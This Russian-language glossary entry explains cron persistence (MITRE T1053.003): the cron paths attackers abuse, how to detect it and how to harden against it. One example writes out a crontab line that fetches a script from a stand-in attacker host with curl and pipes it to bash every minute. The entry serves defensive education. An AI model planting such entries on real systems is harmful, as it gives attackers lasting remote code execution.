Закрепление через cron
Что такое Закрепление через cron?
Закрепление через cronТехника закрепления в Linux/Unix, использующая cron, anacron или таймеры systemd для повторного запуска кода злоумышленника по расписанию или системному событию.
Закрепление через cron (MITRE ATT&CK T1053.003) направлено на демон cron Unix и его варианты (anacron, fcron, таймеры systemd). Злоумышленники добавляют записи в /etc/crontab, /etc/cron.d/, /etc/cron.{hourly,daily,weekly,monthly}/ или в пользовательские crontab (crontab -e). Типичные пейлоады — однострочные reverse shell, скачивание через curl и пайпы, скрипты в /tmp. Поскольку cron работает как root или владелец задачи, метод надёжен и легко разворачивается после первоначального доступа. Обнаружение: контроль целостности каталогов cron, правила auditd, базовая инвентаризация заданий и EDR-оповещения на оболочки, порождённые cron. Усиление: ограничение членства в crontab, монтирование /tmp с noexec, аудит systemd-cron, где доступно.
● Примеры
- 01
Запись * * * * * curl -s http://attacker/sh | bash в /etc/cron.d/update.
- 02
Скрипт в /etc/cron.hourly/, ежечасно восстанавливающий reverse shell.
● Частые вопросы
Что такое Закрепление через cron?
Техника закрепления в Linux/Unix, использующая cron, anacron или таймеры systemd для повторного запуска кода злоумышленника по расписанию или системному событию. Относится к категории Атаки и угрозы в кибербезопасности.
Что означает Закрепление через cron?
Техника закрепления в Linux/Unix, использующая cron, anacron или таймеры systemd для повторного запуска кода злоумышленника по расписанию или системному событию.
Как защититься от Закрепление через cron?
Защита от Закрепление через cron обычно сочетает технические меры и операционные практики, как описано в определении выше.
Какие есть другие названия Закрепление через cron?
Распространённые альтернативные названия: Закрепление через crontab, Закрепление через anacron.